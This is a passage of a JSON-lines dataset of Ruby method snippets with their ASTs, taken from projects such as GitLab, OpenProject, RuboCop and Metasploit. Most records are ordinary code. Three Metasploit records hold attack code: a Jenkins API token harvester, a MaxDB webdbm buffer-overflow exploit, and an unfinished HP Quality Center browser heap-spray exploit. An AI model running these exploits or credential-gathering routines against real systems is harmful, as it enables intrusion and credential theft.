\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"class\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalID\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"GlobalId\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_name\"]},{\"type\":\"lvar\",\"children\":[\"model_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"CoerceError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid ID. Cannot coerce instances of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"class\"]}]}]}]}]}]}","id":"e2c191de-3ccd-48fa-b4ae-34802d4e46b3"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/projects/exports/formatters/description.rb","start_line":37,"raw_source":"def format(project, **)\n        Rails::Html::FullSanitizer.new.sanitize(project.description)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"format\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"kwrestarg\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"Html\"]},\"FullSanitizer\"]},\"new\"]},\"sanitize\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"description\"]}]}]}","id":"9b403de2-5ac0-4f20-bea7-00902429cf78"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/spec/lib/active_context/databases/concerns/adapter_spec.rb","start_line":9,"raw_source":"def client_klass\n        @client_klass ||= Struct.new(:options) do\n          def new(options)\n            self.class.new(options)\n          end\n        end\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"client_klass\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@client_klass\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Struct\"]},\"new\",{\"type\":\"sym\",\"children\":[\"options\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"new\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}","id":"26e67ad6-4f74-45b4-9a2c-fed65810e5c2"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/arguments_forwarding.rb","start_line":367,"raw_source":"def arguments_range(node, first_node)\n          first_node.source_range.begin.join(node.last_argument.source_range.end)\n        end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"arguments_range\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"first_node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_node\"]},\"source_range\"]},\"begin\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"last_argument\"]},\"source_range\"]},\"end\"]}]}]}","id":"20b24cba-fbaf-45ba-b2aa-2c42644967a0"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/tags/if_else_tag_test.rb","start_line":142,"raw_source":"def test_syntax_error_no_variable\n    assert_raises(SyntaxError) { assert_template_result('', '{% if jerry == 1 %}') }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_syntax_error_no_variable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"SyntaxError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"{% if jerry == 1 %}\"]}]}]}]}","id":"aba1f612-f601-466e-a984-abe45688eafe"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/scm/checkout_instructions_service.rb","start_line":66,"raw_source":"def instructions\n    checkout_settings[\"text\"].presence ||\n      I18n.t(\"repositories.checkout.default_instructions.#{repository.vendor}\")\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"instructions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"checkout_settings\"]},\"[]\",{\"type\":\"str\",\"children\":[\"text\"]}]},\"presence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"repositories.checkout.default_instructions.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"vendor\"]}]}]}]}]}]}","id":"669933b7-fa13-4759-bebf-be813d3d9a93"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/channel/twilio_sms.rb","start_line":50,"raw_source":"def name\n    medium == 'sms' ? 'Twilio SMS' : 'Whatsapp'\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"medium\"]},\"==\",{\"type\":\"str\",\"children\":[\"sms\"]}]},{\"type\":\"str\",\"children\":[\"Twilio SMS\"]},{\"type\":\"str\",\"children\":[\"Whatsapp\"]}]}]}","id":"4d2a34c6-734a-4a85-a1b9-1e6d302c30e6"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/models/meeting_participant.rb","start_line":63,"raw_source":"def copy_attributes\n    # create a clean attribute set allowing to attach participants to different meetings\n    attributes.except(\"id\", \"meeting_id\", \"attended\", \"created_at\", \"updated_at\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes\"]},\"except\",{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"meeting_id\"]},{\"type\":\"str\",\"children\":[\"attended\"]},{\"type\":\"str\",\"children\":[\"created_at\"]},{\"type\":\"str\",\"children\":[\"updated_at\"]}]}]}","id":"abcdfabf-0d5e-4b1c-a1f4-84adf0489e67"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/models/active_session_spec.rb","start_line":727,"raw_source":"def key_name(user_id, session_id)\n        described_class.key_name(user_id, session_id)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"key_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]},{\"type\":\"arg\",\"children\":[\"session_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"key_name\",{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"session_id\"]}]}]}","id":"d54dabc0-385f-46a9-a930-bf9ae50533d2"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/standard_filter_test.rb","start_line":629,"raw_source":"def test_first_last\n    assert_equal(1, @filters.first([1, 2, 3]))\n    assert_equal(3, @filters.last([1, 2, 3]))\n    assert_nil(@filters.first([]))\n    assert_nil(@filters.last([]))\n  end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_first_last\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"first\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"last\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"first\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"last\",{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"31d2de06-045b-4224-8a02-d09725bff357"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/dependency_tracker_test.rb","start_line":144,"raw_source":"def test_finds_dependency_on_multiline_render_calls\n    template = FakeTemplate.new(\"<%=\n      render object: @all_posts,\n             partial: 'posts' %>\", :erb)\n\n    tracker = make_tracker(\"some/_little_posts\", template)\n\n    assert_equal [\"some/posts\"], tracker.dependencies\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_finds_dependency_on_multiline_render_calls\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FakeTemplate\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<%=\\n\"]},{\"type\":\"str\",\"children\":[\"      render object: @all_posts,\\n\"]},{\"type\":\"str\",\"children\":[\"             partial: 'posts' %>\"]}]},{\"type\":\"sym\",\"children\":[\"erb\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tracker\",{\"type\":\"send\",\"children\":[null,\"make_tracker\",{\"type\":\"str\",\"children\":[\"some/_little_posts\"]},{\"type\":\"lvar\",\"children\":[\"template\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"some/posts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"dependencies\"]}]}]}]}","id":"19f497a5-c805-44e9-b3bf-15631ead01a4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/analytics/cycle_analytics/stage_events/issue_deployed_to_production.rb","start_line":20,"raw_source":"def column_list\n            [mr_metrics_table[:first_deployed_to_production_at]]\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"column_list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mr_metrics_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"first_deployed_to_production_at\"]}]}]}]}","id":"77220485-5560-4e9f-a2d9-ec6cbe06b8ab"}
{"repo_name":"rack","file_path":"./repos/rack/test/spec_deflater.rb","start_line":141,"raw_source":"class << app_body; def each; yield('foo'); yield('bar'); end; end","complexity_score":6.5,"ast_json":"{\"type\":\"sclass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_body\"]},{\"type\":\"def\",\"children\":[\"each\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"yield\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"str\",\"children\":[\"bar\"]}]}]}]}]}","id":"53dec298-5353-4bf0-9bc9-2fe626273502"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/jenkins_gather.rb","start_line":125,"raw_source":"def parse_users(file)\n    f = read_file(file)\n    fname = file.tr('\\\\', '/').split('/')[-2]\n    vprint_status(\"Parsing user #{fname}...\")\n\n    username = ''\n    api_token = ''\n    xml_doc = Nokogiri::XML(f)\n    xml_doc.xpath('//user').each do |node|\n      username = node.xpath('fullName').text\n    end\n\n    xml_doc.xpath('//jenkins.security.ApiTokenProperty').each do |node|\n      api_token = decrypt(node.xpath('apiToken').text)\n    end\n\n    if api_token\n      print_good(\"API Token found - Username: #{username} Token: #{api_token}\")\n      @api_tokens << [username, api_token]\n      report_creds(username, api_token)\n      store_loot(\"user-#{fname}\", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']\n    end\n  end","complexity_score":38.0,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_users\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"f\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"tr\",{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"[]\",{\"type\":\"int\",\"children\":[-2]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Parsing user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fname\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"api_token\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"xml_doc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\",{\"type\":\"lvar\",\"children\":[\"f\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml_doc\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"//user\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"fullName\"]}]},\"text\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml_doc\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"//jenkins.security.ApiTokenProperty\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"lvasgn\",\"children\":[\"api_token\",{\"type\":\"send\",\"children\":[null,\"decrypt\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"apiToken\"]}]},\"text\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_token\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"API Token found - Username: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\" Token: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_token\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@api_tokens\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"api_token\"]}]}]},{\"type\":\"send\",\"children\":[null,\"report_creds\",{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"api_token\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STORE_LOOT\"]}]},{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"user-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fname\"]}]}]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"lvar\",\"children\":[\"f\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]},null]}]},null]}]}]}","id":"3afecefb-8f84-4504-bc68-9b286175da5f"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/target_finder.rb","start_line":128,"raw_source":"def process_explicit_path(path, mode)\n      files = path.include?('*') ? Dir[path] : [path]\n\n      if mode == :only_recognized_file_types || force_exclusion?\n        files.select! { |file| included_file?(file) }\n      end\n      files.reject! { |file| FileTest.directory?(file) }\n\n      force_exclusion? ? without_excluded(files) : files\n    end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"process_explicit_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"mode\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"files\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"include?\",{\"type\":\"str\",\"children\":[\"*\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mode\"]},\"==\",{\"type\":\"sym\",\"children\":[\"only_recognized_file_types\"]}]},{\"type\":\"send\",\"children\":[null,\"force_exclusion?\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"select!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[null,\"included_file?\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"reject!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileTest\"]},\"directory?\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"force_exclusion?\"]},{\"type\":\"send\",\"children\":[null,\"without_excluded\",{\"type\":\"lvar\",\"children\":[\"files\"]}]},{\"type\":\"lvar\",\"children\":[\"files\"]}]}]}]}","id":"4ba7b955-81e3-49af-8991-4d03d829e9e7"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/project.rb","start_line":255,"raw_source":"def <=>(other)\n    name.downcase <=> other.name.downcase\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"<=>\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"downcase\"]},\"<=>\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"name\"]},\"downcase\"]}]}]}","id":"0a04751e-4460-464e-80ef-20574877392b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb","start_line":66,"raw_source":"def exploit\n    # Trigger the SEH by writing past the end of the page after\n    # the SEH is already overwritten. This avoids the other smashed\n    # pointer exceptions and goes straight to the payload.\n    buf = rand_text_alphanumeric(16384)\n    buf[1586, payload.encoded.length] = payload.encoded\n    buf[3638, 5] = \"\\xe9\" + [-2052].pack('V')\n    buf[3643, 2] = \"\\xeb\\xf9\"\n    buf[3647, 4] = [target.ret].pack('V')\n\n    print_status(\"Trying target address 0x%.8x...\" % target.ret)\n\n    send_request_raw({\n      'uri' => '/%' + buf\n    }, 5)\n\n    handler\n  end","complexity_score":28.7,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"[]=\",{\"type\":\"int\",\"children\":[3647]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying target address 0x%.8x...\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/%\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]}]}]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]}]}]}","id":"51059fb9-5200-4865-8c86-537a40d618ca"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/components/gantt/gantt_builder.rb","start_line":871,"raw_source":"def collect_rows_by_work_package(work_package, page_groups)\n      page_groups.map do |page_group|\n        page_group.pages.map do |page|\n          page.rows.find { |r| r.entry_id == work_package.id }\n        end\n      end.flatten.compact\n    end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"collect_rows_by_work_package\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"arg\",\"children\":[\"page_groups\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page_groups\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page_group\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page_group\"]},\"pages\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"rows\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"entry_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"id\"]}]}]}]}]},\"flatten\"]},\"compact\"]}]}","id":"3356b695-4a0a-493c-9591-58cd08c4cf3f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/note.rb","start_line":402,"raw_source":"def for_design?\n    noteable_type == DesignManagement::Design.name\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"for_design?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"noteable_type\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DesignManagement\"]},\"Design\"]},\"name\"]}]}]}","id":"51e24aec-fc3f-40ec-838d-1778f430af72"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/groups/dependency_proxy_for_containers_controller.rb","start_line":83,"raw_source":"def authorize_upload_manifest\n    set_workhorse_internal_api_content_type\n\n    render json: DependencyProxy::FileUploader.workhorse_authorize(has_length: false,\n      maximum_size: DependencyProxy::Manifest::MAX_FILE_SIZE)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_upload_manifest\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_workhorse_internal_api_content_type\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DependencyProxy\"]},\"FileUploader\"]},\"workhorse_authorize\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"has_length\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"maximum_size\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DependencyProxy\"]},\"Manifest\"]},\"MAX_FILE_SIZE\"]}]}]}]}]}]}]}]}]}","id":"1471b4f5-289c-4ef1-a0f3-d209ecc08cbd"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/features/work_packages/select/select_work_package_row_spec.rb","start_line":113,"raw_source":"def uncheck_all\n    find(\"body\").send_keys [:control, \"d\"]\n    expect_row_unchecked(1, 2, 3)\n    expect(page).to have_no_css \"#work-package-context-menu\"\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"uncheck_all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"body\"]}]},\"send_keys\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"control\"]},{\"type\":\"str\",\"children\":[\"d\"]}]}]},{\"type\":\"send\",\"children\":[null,\"expect_row_unchecked\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_css\",{\"type\":\"str\",\"children\":[\"#work-package-context-menu\"]}]}]}]}]}","id":"b6f19392-02f2-4e7a-973b-106cea5074cd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/hpmqc_progcolor.rb","start_line":63,"raw_source":"def on_request_uri(cli, request)\n    # Re-generate the payload\n    return if ((p = regenerate_payload(cli)) == nil)\n\n    # Encode the shellcode\n    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))\n\n    # Setup exploit buffers\n    nops = Rex::Text.to_unescape([target.ret].pack('V'))\n    ret = Rex::Text.uri_encode([target.ret].pack('L'))\n    blocksize = 0x40000\n    fillto = 500\n    offset = target['Offset']\n\n    # Randomize the javascript variable names\n    mqcontrol = rand_text_alpha(rand(100) + 1)\n    j_shellcode = rand_text_alpha(rand(100) + 1)\n    j_nops = rand_text_alpha(rand(100) + 1)\n    j_headersize = rand_text_alpha(rand(100) + 1)\n    j_slackspace = rand_text_alpha(rand(100) + 1)\n    j_fillblock = rand_text_alpha(rand(100) + 1)\n    j_block = rand_text_alpha(rand(100) + 1)\n    j_memory = rand_text_alpha(rand(100) + 1)\n    j_counter = rand_text_alpha(rand(30) + 2)\n    j_ret = rand_text_alpha(rand(100) + 1)\n    randnop = rand_text_alpha(rand(100) + 1)\n\n    # Build out the message\n    content = 